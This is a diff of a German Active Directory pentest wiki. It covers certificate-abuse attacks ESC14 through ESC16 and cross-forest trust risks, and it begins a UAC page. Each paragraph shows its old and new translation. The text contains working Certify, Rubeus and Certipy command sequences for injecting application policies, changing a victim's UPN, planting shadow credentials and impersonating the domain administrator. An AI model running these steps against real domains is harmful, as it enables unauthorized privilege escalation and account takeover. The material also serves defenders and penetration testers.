ESC14 behandelt Schwachstellen, die aus "weak explicit certificate mapping" entstehen, hauptsächlich durch den Missbrauch oder unsichere Konfiguration des Attributes `altSecurityIdentities` an Active Directory-Benutzer- oder Computerobjekten. Dieses multiwertige Attribut erlaubt es Administratoren, X.509-Zertifikate manuell einem AD-Konto für Authentifizierungszwecke zuzuordnen. Wenn es befüllt ist, können diese expliziten Zuordnungen die standardmäßige Zertifikatszuordnungslogik überschreiben, die typischerweise auf UPNs oder DNS-Namen im SAN des Zertifikats oder auf der in der `szOID_NTDS_CA_SECURITY_EXT` Security-Extension eingebetteten SID beruht.
|
||||
ESC14 betrifft Schwachstellen, die aus "weak explicit certificate mapping" entstehen, hauptsächlich durch den Missbrauch oder unsichere Konfiguration des Attributes `altSecurityIdentities` an Active Directory-Benutzer- oder Computerkonten. Dieses mehrwertige Attribut erlaubt Administratoren, X.509-Zertifikate manuell mit einem AD-Konto für Authentifizierungszwecke zu verknüpfen. Wenn es gesetzt ist, können diese expliziten Zuordnungen die standardmäßige Zertifikat-Zuordnungslogik überschreiben, die normalerweise auf UPNs oder DNS-Namen im SAN des Zertifikats oder der in der `szOID_NTDS_CA_SECURITY_EXT` Sicherheits-Erweiterung eingebetteten SID basiert.
|
||||
|
||||
Eine "schwache" Zuordnung tritt auf, wenn der Stringwert, der innerhalb des Attributes `altSecurityIdentities` zur Identifikation eines Zertifikats verwendet wird, zu allgemein, leicht zu erraten, abhängig von nicht-eindeutigen Zertifikatsfeldern oder aus leicht zu fälschenden Zertifikatkomponenten zusammengesetzt ist. Wenn ein Angreifer ein Zertifikat beschaffen oder erstellen kann, dessen Attribute mit einer derart schwach definierten expliziten Zuordnung für ein privilegiertes Konto übereinstimmen, kann er dieses Zertifikat verwenden, um sich als dieses Konto zu authentifizieren und es zu impersonifizieren.
|
||||
Eine "schwache" Zuordnung tritt auf, wenn der in `altSecurityIdentities` verwendete String zur Identifizierung eines Zertifikats zu breit, leicht erratbar ist, sich auf nicht eindeutige Zertifikatfelder stützt oder leicht fälschbare Zertifikat-Komponenten verwendet. Wenn ein Angreifer ein Zertifikat beschaffen oder erstellen kann, dessen Attribute mit einer derart schwach definierten expliziten Zuordnung für ein privilegiertes Konto übereinstimmen, kann er dieses Zertifikat verwenden, um sich als dieses Konto zu authentifizieren und es zu imitieren.
|
||||
|
||||
Beispiele für potenziell schwache `altSecurityIdentities`-Mapping-Strings sind:
|
||||
|
||||
- Mapping ausschließlich über einen allgemeinen Subject Common Name (CN): z. B. `X509:<S>CN=SomeUser`. Ein Angreifer könnte in der Lage sein, ein Zertifikat mit diesem CN aus einer weniger sicheren Quelle zu erhalten.
|
||||
- Verwendung übermäßig generischer Issuer Distinguished Names (DNs) oder Subject DNs ohne weitere Qualifikationen wie eine spezifische Seriennummer oder subject key identifier: z. B. `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
|
||||
- Einsatz anderer vorhersehbarer Muster oder nicht-kriptografischer Identifikatoren, die ein Angreifer in einem Zertifikat, das er legal erhalten oder (bei Kompromittierung einer CA oder einer verwundbaren Vorlage wie in ESC1) fälschen kann, erfüllen könnte.
|
||||
- Verwendung übermäßig generischer Issuer Distinguished Names (DNs) oder Subject DNs ohne weitere Qualifikation wie eine spezifische Seriennummer oder Subject Key Identifier: z. B. `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
|
||||
- Einsatz anderer vorhersagbarer Muster oder nicht-kriptografischer Identifikatoren, die ein Angreifer in einem Zertifikat, das er rechtmäßig erlangen oder (bei Kompromittierung einer CA oder einer verwundbaren Vorlage wie in ESC1) fälschen kann, erfüllen könnte.
|
||||
|
||||
Das Attribut `altSecurityIdentities` unterstützt verschiedene Formate für die Zuordnung, wie zum Beispiel:
|
||||
Das `altSecurityIdentities`-Attribut unterstützt verschiedene Formate für die Zuordnung, wie z. B.:
|
||||
|
||||
- `X509:<I>IssuerDN<S>SubjectDN` (Zuordnung nach vollständigem Issuer- und Subject-DN)
|
||||
- `X509:<SKI>SubjectKeyIdentifier` (Zuordnung nach dem Subject Key Identifier des Zertifikats)
|
||||
- `X509:<SR>SerialNumberBackedByIssuerDN` (Zuordnung nach Seriennummer, implizit qualifiziert durch den Issuer DN) - dies ist kein Standardformat, normalerweise ist es `<I>IssuerDN<SR>SerialNumber`.
|
||||
- `X509:<RFC822>EmailAddress` (Zuordnung nach einem RFC822-Namen, typischerweise einer E-Mail-Adresse, aus dem SAN)
|
||||
- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (Zuordnung nach einem SHA1-Hash des rohen Public Keys des Zertifikats - generell stark)
|
||||
- `X509:<SKI>SubjectKeyIdentifier` (Zuordnung über den Subject Key Identifier des Zertifikats)
|
||||
- `X509:<SR>SerialNumberBackedByIssuerDN` (Zuordnung nach Seriennummer, implizit durch den Issuer DN qualifiziert) - dies ist kein Standardformat, üblicherweise ist es `<I>IssuerDN<SR>SerialNumber`.
|
||||
- `X509:<RFC822>EmailAddress` (Zuordnung durch einen RFC822-Namen, typischerweise eine E-Mail-Adresse aus dem SAN)
|
||||
- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (Zuordnung durch einen SHA1-Hash des rohen öffentlichen Schlüssels des Zertifikats - generell stark)
|
||||
|
||||
Die Sicherheit dieser Zuordnungen hängt stark von der Spezifität, Einzigartigkeit und kryptografischen Stärke der in der Mapping-String gewählten Zertifikatsidentifier ab. Selbst mit aktivierten starken certificate binding modes auf Domänencontrollern (die hauptsächlich implizite Zuordnungen basierend auf SAN-UPNs/DNS und der SID-Extension beeinflussen) kann ein schlecht konfigurierter `altSecurityIdentities`-Eintrag trotzdem einen direkten Weg zur Impersonation bieten, wenn die Mapping-Logik selbst fehlerhaft oder zu permissiv ist.
|
||||
Die Sicherheit dieser Zuordnungen hängt stark von der Spezifität, Einzigartigkeit und kryptografischen Stärke der gewählten Zertifikatsidentifikatoren im Mapping-String ab. Selbst mit aktivierten starken Zertifikat-Bindungsmodi auf Domain Controllern (die hauptsächlich implizite Zuordnungen basierend auf SAN-UPNs/DNS und der SID-Erweiterung betreffen) kann ein schlecht konfigurierter `altSecurityIdentities`-Eintrag weiterhin einen direkten Weg zur Imitation bieten, wenn die Zuordnungslogik selbst fehlerhaft oder zu permissiv ist.
|
||||
|
||||
### Missbrauchsszenario
|
||||
|
||||
ESC14 richtet sich gegen **explicit certificate mappings** in Active Directory (AD), speziell gegen das Attribut `altSecurityIdentities`. Wenn dieses Attribut gesetzt ist (durch Design oder Fehlkonfiguration), können Angreifer Konten impersonifizieren, indem sie Zertifikate präsentieren, die der Zuordnung entsprechen.
|
||||
ESC14 zielt auf **explizite Zertifikatszuordnungen** in Active Directory (AD) ab, speziell auf das Attribut `altSecurityIdentities`. Wenn dieses Attribut gesetzt ist (durch Design oder Fehlkonfiguration), können Angreifer Konten imitieren, indem sie Zertifikate präsentieren, die der Zuordnung entsprechen.
|
||||
|
||||
#### Szenario A: Angreifer kann auf `altSecurityIdentities` schreiben
|
||||
#### Szenario A: Angreifer kann in `altSecurityIdentities` schreiben
|
||||
|
||||
**Voraussetzung**: Der Angreifer hat Schreibrechte auf das `altSecurityIdentities`-Attribut des Zielkontos oder die Berechtigung, es zu vergeben in Form einer der folgenden Berechtigungen am Ziel-AD-Objekt:
|
||||
**Voraussetzung**: Der Angreifer hat Schreibrechte auf das `altSecurityIdentities`-Attribut des Zielkontos oder die Berechtigung, es zu setzen, in Form einer der folgenden Berechtigungen auf dem Ziel-AD-Objekt:
|
||||
- Write property `altSecurityIdentities`
|
||||
- Write property `Public-Information`
|
||||
- Write property (all)
|
||||
@ -724,22 +726,22 @@ ESC14 richtet sich gegen **explicit certificate mappings** in Active Directory (
|
||||
- `GenericAll`
|
||||
- Owner*.
|
||||
|
||||
#### Szenario B: Ziel hat schwache Zuordnung via X509RFC822 (E-Mail)
|
||||
#### Szenario B: Ziel hat schwaches Mapping via X509RFC822 (E-Mail)
|
||||
|
||||
- **Voraussetzung**: Das Ziel hat eine schwache X509RFC822-Zuordnung in altSecurityIdentities. Ein Angreifer kann das mail-Attribut des Opfers so setzen, dass es dem X509RFC822-Namen des Ziels entspricht, ein Zertifikat als das Opfer enrollen und dieses Zertifikat verwenden, um sich als das Ziel zu authentifizieren.
|
||||
- **Voraussetzung**: Das Ziel hat eine schwache X509RFC822-Zuordnung in `altSecurityIdentities`. Ein Angreifer kann das `mail`-Attribut des Opfers so setzen, dass es dem X509RFC822-Namen des Ziels entspricht, ein Zertifikat für das Opfer beantragen/enrollen und dieses Zertifikat verwenden, um sich als das Ziel zu authentifizieren.
|
||||
|
||||
#### Szenario C: Ziel hat X509IssuerSubject-Zuordnung
|
||||
#### Szenario C: Ziel hat X509IssuerSubject-Mapping
|
||||
|
||||
- **Voraussetzung**: Das Ziel hat eine schwache X509IssuerSubject-explizite Zuordnung in `altSecurityIdentities`. Der Angreifer kann das `cn`- oder `dNSHostName`-Attribut eines Opferprinzipals so setzen, dass es dem Subject der X509IssuerSubject-Zuordnung des Ziels entspricht. Anschließend kann der Angreifer ein Zertifikat als das Opfer enrollen und dieses Zertifikat verwenden, um sich als das Ziel zu authentifizieren.
|
||||
- **Voraussetzung**: Das Ziel hat eine schwache X509IssuerSubject-Explizitzuordnung in `altSecurityIdentities`. Der Angreifer kann das Attribut `cn` oder `dNSHostName` bei einem Opferprinzipal so setzen, dass es dem Subject der X509IssuerSubject-Zuordnung des Ziels entspricht. Danach kann der Angreifer ein Zertifikat für das Opfer enrollen und dieses Zertifikat verwenden, um sich als das Ziel zu authentifizieren.
|
||||
|
||||
#### Szenario D: Ziel hat X509SubjectOnly-Zuordnung
|
||||
#### Szenario D: Ziel hat X509SubjectOnly-Mapping
|
||||
|
||||
- **Voraussetzung**: Das Ziel hat eine schwache X509SubjectOnly-explizite Zuordnung in `altSecurityIdentities`. Der Angreifer kann das `cn`- oder `dNSHostName`-Attribut eines Opferprinzipals so setzen, dass es dem Subject der X509SubjectOnly-Zuordnung des Ziels entspricht. Anschließend kann der Angreifer ein Zertifikat als das Opfer enrollen und dieses Zertifikat verwenden, um sich als das Ziel zu authentifizieren.
|
||||
- **Voraussetzung**: Das Ziel hat eine schwache X509SubjectOnly-Explizitzuordnung in `altSecurityIdentities`. Der Angreifer kann das Attribut `cn` oder `dNSHostName` bei einem Opferprinzipal so setzen, dass es dem Subject der X509SubjectOnly-Zuordnung des Ziels entspricht. Danach kann der Angreifer ein Zertifikat für das Opfer enrollen und dieses Zertifikat verwenden, um sich als das Ziel zu authentifizieren.
|
||||
|
||||
### konkrete Operationen
|
||||
### Konkrete Operationen
|
||||
#### Szenario A
|
||||
|
||||
Request a certificate of the certificate template `Machine`
|
||||
Fordere ein Zertifikat der Zertifikatvorlage `Machine` an.
|
||||
```bash
|
||||
.\Certify.exe request /ca:<ca> /template:Machine /machine
|
||||
```
|
||||
@ -751,31 +753,31 @@ Authentifizieren (mit dem Zertifikat)
|
||||
```bash
|
||||
.\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap
|
||||
```
|
||||
Bereinigung (optional)
|
||||
Aufräumen (optional)
|
||||
```bash
|
||||
Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
|
||||
```
|
||||
Für spezifischere Angriffsverfahren in verschiedenen Angriffsszenarien siehe: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
|
||||
Für spezifischere Angriffsverfahren in verschiedenen Angriffsszenarien lesen Sie bitte Folgendes: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
|
||||
|
||||
## EKUwu Anwendungsrichtlinien(CVE-2024-49019) - ESC15
|
||||
## EKUwu Application Policies(CVE-2024-49019) - ESC15
|
||||
|
||||
### Erklärung
|
||||
|
||||
Die Beschreibung auf https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc ist bemerkenswert ausführlich. Im Folgenden ein Zitat des Originaltextes.
|
||||
Die Beschreibung unter https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc ist bemerkenswert ausführlich. Nachfolgend ein Zitat des Originaltexts.
|
||||
|
||||
Mit den eingebauten Standard-Zertifikatvorlagen der Version 1 kann ein Angreifer ein CSR erstellen, das Anwendungsrichtlinien enthält, die gegenüber den in der Vorlage konfigurierten Extended Key Usage-Attributen bevorzugt werden. Die einzige Voraussetzung sind Enrollment-Rechte, und damit lassen sich mit der **_WebServer_** Vorlage client authentication-, certificate request agent- und codesigning-Zertifikate erzeugen.
|
||||
> Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template
|
||||
|
||||
### Ausnutzung
|
||||
|
||||
Das Folgende bezieht sich auf [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Klicken Sie, um detailliertere Nutzungsmethoden zu sehen.
|
||||
Das Folgende bezieht sich auf [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), Klicken Sie, um detailliertere Anwendungsanweisungen zu sehen.
|
||||
|
||||
Der `find`-Befehl von Certipy kann dabei helfen, V1-Vorlagen zu identifizieren, die potenziell für ESC15 anfällig sind, falls die CA nicht gepatcht ist.
|
||||
Certipy's `find` command kann helfen, V1-Templates zu identifizieren, die potenziell anfällig für ESC15 sind, falls die CA unpatched ist.
|
||||
```bash
|
||||
certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
|
||||
```
|
||||
#### Szenario A: Direct Impersonation via Schannel
|
||||
|
||||
**Schritt 1: Fordere ein Zertifikat an und injiziere die Application Policy "Client Authentication" sowie die Ziel-UPN.** Angreifer `attacker@corp.local` zielt auf `administrator@corp.local` unter Verwendung der V1-Vorlage "WebServer" (die ein vom Enrollee bereitgestelltes Subject erlaubt).
|
||||
**Schritt 1: Fordere ein Zertifikat an und injiziere die Application Policy "Client Authentication" sowie die Ziel-UPN.** Angreifer `attacker@corp.local` zielt auf `administrator@corp.local` und verwendet die "WebServer" V1-Vorlage (die ein vom Enrollee bereitgestelltes Subject erlaubt).
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -784,17 +786,17 @@ certipy req \
|
||||
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
|
||||
-application-policies 'Client Authentication'
|
||||
```
|
||||
- `-template 'WebServer'`: Das verwundbare V1-Template mit "Enrollee supplies subject".
|
||||
- `-template 'WebServer'`: Die verwundbare V1-Vorlage mit "Enrollee supplies subject".
|
||||
- `-application-policies 'Client Authentication'`: Fügt die OID `1.3.6.1.5.5.7.3.2` in die Application Policies-Erweiterung des CSR ein.
|
||||
- `-upn 'administrator@corp.local'`: Setzt den UPN im SAN zur Identitätsübernahme.
|
||||
|
||||
**Schritt 2: Authentifiziere über Schannel (LDAPS) mit dem erhaltenen Zertifikat.**
|
||||
**Schritt 2: Mit dem erhaltenen Zertifikat über Schannel (LDAPS) authentifizieren.**
|
||||
```bash
|
||||
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
|
||||
```
|
||||
#### Szenario B: PKINIT/Kerberos-Identitätsübernahme durch Missbrauch eines Enrollment Agents
|
||||
#### Szenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
|
||||
|
||||
**Schritt 1: Fordere ein Zertifikat von einer V1-Vorlage an (mit "Enrollee supplies subject"), und injiziere die Application Policy "Certificate Request Agent".** Dieses Zertifikat dient dazu, dass der Angreifer (`attacker@corp.local`) Enrollment Agent wird. Es wird hier kein UPN für die Identität des Angreifers angegeben, da das Ziel die Agentenberechtigung ist.
|
||||
**Schritt 1: Fordere ein Zertifikat von einer V1 template an (mit "Enrollee supplies subject"), indem du die Application Policy "Certificate Request Agent" injizierst.** Dieses Zertifikat ist für den Angreifer (`attacker@corp.local`), damit er Enrollment Agent wird. Hier wird kein UPN für die Identität des Angreifers angegeben, da das Ziel die Fähigkeit ist, als Enrollment Agent zu fungieren.
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -802,9 +804,9 @@ certipy req \
|
||||
-ca 'CORP-CA' -template 'WebServer' \
|
||||
-application-policies 'Certificate Request Agent'
|
||||
```
|
||||
- `-application-policies 'Certificate Request Agent'`: Injiziert OID `1.3.6.1.4.1.311.20.2.1`.
|
||||
- `-application-policies 'Certificate Request Agent'`: Fügt die OID `1.3.6.1.4.1.311.20.2.1` ein.
|
||||
|
||||
**Schritt 2: Verwende das "agent" Zertifikat, um im Namen eines privilegierten Zielbenutzers ein Zertifikat anzufordern.** Dies ist ein ESC3-like-Schritt, bei dem das Zertifikat aus Schritt 1 als "agent" Zertifikat verwendet wird.
|
||||
**Schritt 2: Verwende das "agent"-Zertifikat, um im Namen eines privilegierten Zielbenutzers ein Zertifikat anzufordern.** Dies ist ein ESC3-ähnlicher Schritt, bei dem das Zertifikat aus Schritt 1 als Agentenzertifikat verwendet wird.
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -812,52 +814,52 @@ certipy req \
|
||||
-ca 'CORP-CA' -template 'User' \
|
||||
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
|
||||
```
|
||||
**Schritt 3: Authentifiziere dich als privilegierter Benutzer mithilfe des "on-behalf-of"-Zertifikats.**
|
||||
**Schritt 3: Authentifizieren Sie sich als privilegierter Benutzer mithilfe des "on-behalf-of" Zertifikats.**
|
||||
```bash
|
||||
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
|
||||
```
|
||||
## Security Extension Disabled on CA (Globally)-ESC16
|
||||
## Sicherheitserweiterung auf CA deaktiviert (global)-ESC16
|
||||
|
||||
### Erklärung
|
||||
|
||||
**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** bezieht sich auf das Szenario, in dem, wenn die Konfiguration von AD CS nicht erzwingt, dass die **szOID_NTDS_CA_SECURITY_EXT**-Erweiterung in allen Zertifikaten enthalten ist, ein Angreifer dies ausnutzen kann, indem er:
|
||||
**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** bezieht sich auf das Szenario, in dem, wenn die Konfiguration von AD CS nicht erzwingt, dass die **szOID_NTDS_CA_SECURITY_EXT**-Erweiterung in allen Zertifikaten enthalten ist, ein Angreifer dies ausnutzen kann durch:
|
||||
|
||||
1. Ein Zertifikat **without SID binding** anfordert.
|
||||
1. Anfordern eines Zertifikats **ohne SID binding**.
|
||||
|
||||
2. Dieses Zertifikat **for authentication as any account** verwendet, z. B. um sich als ein hoch privilegiertes Konto auszugeben (z. B. ein Domain Administrator).
|
||||
2. Verwendung dieses Zertifikats **zur Authentifizierung als beliebiges Konto**, z. B. zur Imitation eines hochprivilegierten Kontos (z. B. eines Domain Administrator).
|
||||
|
||||
Sie können auch diesen Artikel lesen, um mehr über das detaillierte Prinzip zu erfahren: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
|
||||
Sie können sich auch auf diesen Artikel beziehen, um mehr über das detaillierte Prinzip zu erfahren: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
|
||||
|
||||
### Missbrauch
|
||||
|
||||
Das Folgende bezieht sich auf [diesen Link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), klicken Sie, um detailliertere Anwendungsanleitungen zu sehen.
|
||||
Das Folgende bezieht sich auf [diesen Link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally). Weitere detaillierte Verwendungsweisen finden Sie dort.
|
||||
|
||||
Um festzustellen, ob die Active Directory Certificate Services (AD CS) Umgebung für **ESC16** verwundbar ist
|
||||
Um zu ermitteln, ob die Active Directory Certificate Services (AD CS)-Umgebung für **ESC16** verwundbar ist:
|
||||
```bash
|
||||
certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
|
||||
```
|
||||
**Schritt 1: Initiale UPN des Zielkontos lesen (optional - zur Wiederherstellung).**
|
||||
**Schritt 1: Ursprüngliche UPN des Opferkontos auslesen (optional - zur Wiederherstellung).
|
||||
```bash
|
||||
certipy account \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -user 'victim' \
|
||||
read
|
||||
```
|
||||
**Schritt 2: Aktualisiere die UPN des Opferkontos auf den `sAMAccountName` des Zieladministrators.**
|
||||
**Schritt 2: Aktualisiere den UPN des Opferkontos auf den `sAMAccountName` des Zieladministrators.**
|
||||
```bash
|
||||
certipy account \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -upn 'administrator' \
|
||||
-user 'victim' update
|
||||
```
|
||||
**Schritt 3: (falls erforderlich) credentials für das "victim"-Konto erhalten (z. B. via Shadow Credentials).**
|
||||
**Schritt 3: (falls erforderlich) Beschaffen Sie Anmeldeinformationen für das "victim"-Konto (z. B. via Shadow Credentials).**
|
||||
```shell
|
||||
certipy shadow \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -account 'victim' \
|
||||
auto
|
||||
```
|
||||
**Schritt 4: Fordere ein Zertifikat als "victim"-Benutzer von _einer beliebigen geeigneten Client-Authentifizierungs-Vorlage_ (z. B. "User") auf der ESC16-verwundbaren CA an.** Da die CA für ESC16 verwundbar ist, wird sie die SID-Sicherheits-Erweiterung im ausgestellten Zertifikat automatisch weglassen, unabhängig von den spezifischen Einstellungen der Vorlage für diese Erweiterung. Setze die Kerberos-Credential-Cache-Umgebungsvariable (Shell-Befehl):
|
||||
**Schritt 4: Fordere ein Zertifikat als Benutzer "victim" von _einer geeigneten Client-Authentifizierungs-Vorlage_ (z. B. "User") auf der ESC16-anfälligen CA an.** Da die CA gegenüber ESC16 anfällig ist, wird sie automatisch die SID-Sicherheits-Erweiterung aus dem ausgestellten Zertifikat entfernen, unabhängig von den spezifischen Einstellungen der Vorlage für diese Erweiterung. Setze die Umgebungsvariable für den Kerberos-Credential-Cache (Shell-Befehl):
|
||||
```bash
|
||||
export KRB5CCNAME=victim.ccache
|
||||
```
|
||||
@ -868,7 +870,7 @@ certipy req \
|
||||
-target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
|
||||
-template 'User'
|
||||
```
|
||||
**Schritt 5: Setze die UPN des "Opfer"-Kontos zurück.**
|
||||
**Schritt 5: Setze die UPN des "victim"-Kontos zurück.**
|
||||
```bash
|
||||
certipy account \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -881,21 +883,21 @@ certipy auth \
|
||||
-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
|
||||
-username 'administrator' -domain 'corp.local'
|
||||
```
|
||||
## Kompromittierung von Forests durch Zertifikate in Passivform erklärt
|
||||
## Kompromittierung von Forests durch Zertifikate (in Passivform erklärt)
|
||||
|
||||
### Bruch von Forest-Trusts durch kompromittierte CAs
|
||||
|
||||
Die Konfiguration für **cross-forest enrollment** wird relativ einfach gestaltet. Das **root CA certificate** aus dem resource forest wird von Administratoren in die **account forests publiziert**, und die **enterprise CA**-Zertifikate aus dem resource forest werden in die **`NTAuthCertificates` und AIA Container in jedem account forest hinzugefügt**. Zur Verdeutlichung: Diese Anordnung gewährt der **CA im resource forest vollständige Kontrolle** über alle anderen Forests, für die sie PKI verwaltet. Sollte diese CA von Angreifern **kompromittiert werden**, könnten Zertifikate für alle Benutzer sowohl im resource- als auch im account-forest von diesen **gefälscht werden**, wodurch die Sicherheitsgrenze des Forests gebrochen würde.
|
||||
Die Konfiguration für **cross-forest enrollment** wurde relativ einfach gestaltet. Das **root CA certificate** aus dem resource forest wird von Administratoren in die account forests veröffentlicht, und die **enterprise CA**-Zertifikate aus dem resource forest werden in die `NTAuthCertificates`- und AIA-Container in jedem account forest hinzugefügt. Zur Klarstellung: Durch diese Konfiguration wird der **CA im resource forest vollständige Kontrolle** über alle anderen Forests gewährt, für die sie PKI verwaltet. Wird diese CA von Angreifern kompromittiert, könnten Zertifikate für alle Benutzer in sowohl dem resource- als auch den account-forests von ihnen gefälscht werden, wodurch die Sicherheitsgrenze des Forests durchbrochen würde.
|
||||
|
||||
### Anmeldeberechtigungen, die fremden Principals gewährt werden
|
||||
### Enrollment Privileges Granted to Foreign Principals
|
||||
|
||||
In Multi-Forest-Umgebungen ist Vorsicht geboten gegenüber Enterprise CAs, die **certificate templates veröffentlichen**, welche **Authenticated Users oder foreign principals** (Benutzer/Gruppen außerhalb des Forests, zu dem die Enterprise CA gehört) **Anmelde- und Bearbeitungsrechte** erlauben.\
|
||||
Beim Authentifizieren über einen Trust wird die **Authenticated Users SID** vom AD dem Token des Benutzers hinzugefügt. Daher könnte, wenn eine Domain eine Enterprise CA mit einem Template besitzt, das **Authenticated Users Anmeldeberechtigungen erlaubt**, ein Template potenziell von einem Benutzer aus einem anderen Forest **angemeldet werden**. Ebenso wird, wenn **Anmeldeberechtigungen einem foreign principal explizit durch ein Template gewährt werden**, dadurch eine **cross-forest access-control-Beziehung geschaffen**, die es einem Principal aus einem Forest ermöglicht, **ein Template aus einem anderen Forest zu enrollen**.
|
||||
In Multi-Forest-Umgebungen ist Vorsicht geboten bei Enterprise CAs, die **certificate templates veröffentlichen**, die **Authenticated Users oder foreign principals** (Benutzer/Gruppen, die außerhalb des Forests liegen, dem die Enterprise CA angehört) **enrollment and edit rights**.\
|
||||
Bei Authentifizierung über einen Trust wird vom AD die **Authenticated Users SID** dem Token des Benutzers hinzugefügt. Wenn eine Domain also eine Enterprise CA mit einer Vorlage besitzt, die **Authenticated Users enrollment rights** erlaubt, könnte die Vorlage potenziell von einem Benutzer aus einem anderen Forest **enrolled** werden. Ebenso, wenn einer **foreign principal** durch eine Vorlage **explizit enrollment rights** gewährt werden, wird dadurch eine **cross-forest access-control relationship** geschaffen, die es einem Principal aus einem Forest ermöglicht, in eine Vorlage eines anderen Forests **enroll** zu können.
|
||||
|
||||
Beide Szenarien führen zu einer **Erweiterung der Angriffsfläche** von einem Forest zu einem anderen. Die Einstellungen des certificate templates könnten von einem Angreifer ausgenutzt werden, um zusätzliche Privilegien in einer fremden Domain zu erlangen.
|
||||
Beide Szenarien führen zu einer **Erweiterung der Angriffsfläche** von einem Forest zum anderen. Die Einstellungen der certificate template könnten von einem Angreifer ausgenutzt werden, um zusätzliche Privilegien in einer fremden Domain zu erlangen.
|
||||
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/)
|
||||
- [GhostPack/Certify](https://github.com/GhostPack/Certify)
|
||||
|
@ -1,28 +1,28 @@
|
||||
# UAC - User Account Control
|
||||
# UAC - Benutzerkontensteuerung
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## UAC
|
||||
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ist eine Funktion, die eine **Zustimmungsaufforderung für erhöhte Aktivitäten** ermöglicht. Anwendungen haben unterschiedliche `integrity`-Level, und ein Programm mit einem **hohen Level** kann Aufgaben ausführen, die das System **potenziell kompromittieren könnten**. Wenn UAC aktiviert ist, laufen Anwendungen und Tasks immer **im Sicherheitskontext eines Nicht-Administrator-Kontos**, es sei denn, ein Administrator gewährt diesen Anwendungen/Tasks explizit Administratorrechte, damit sie ausgeführt werden können. Es ist eine Komfortfunktion, die Administratoren vor unbeabsichtigten Änderungen schützt, aber nicht als Sicherheitsgrenze gilt.
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ist eine Funktion, die eine **Zustimmungsaufforderung für erhöhte Aktionen** ermöglicht. Anwendungen haben verschiedene `integrity`-Stufen, und ein Programm mit einem **hohen Level** kann Aufgaben ausführen, die **das System potenziell gefährden könnten**. Wenn UAC aktiviert ist, laufen Anwendungen und Aufgaben standardmäßig im **Sicherheitskontext eines Nicht-Administrator-Kontos**, es sei denn, ein Administrator gewährt diesen Anwendungen/Aufgaben ausdrücklich Administratorrechte, damit sie ausgeführt werden können. Es ist eine Komfortfunktion, die Administratoren vor unbeabsichtigten Änderungen schützt, gilt jedoch nicht als Sicherheitsgrenze.
|
||||
|
||||
Für mehr Infos über integrity levels:
|
||||
Für mehr Informationen zu Integritätsstufen:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../windows-local-privilege-escalation/integrity-levels.md
|
||||
{{#endref}}
|
||||
|
||||
Wenn UAC aktiviert ist, erhält ein Administrator-Benutzer 2 Tokens: ein Standardbenutzer-Token, um reguläre Aktionen auf normalem Level durchzuführen, und eines mit Administrator-Privilegien.
|
||||
Wenn UAC aktiv ist, erhält ein Administrator zwei Token: ein Standardbenutzer-Token, um reguläre Aktionen auf normalem Level auszuführen, und eines mit Administratorprivilegien.
|
||||
|
||||
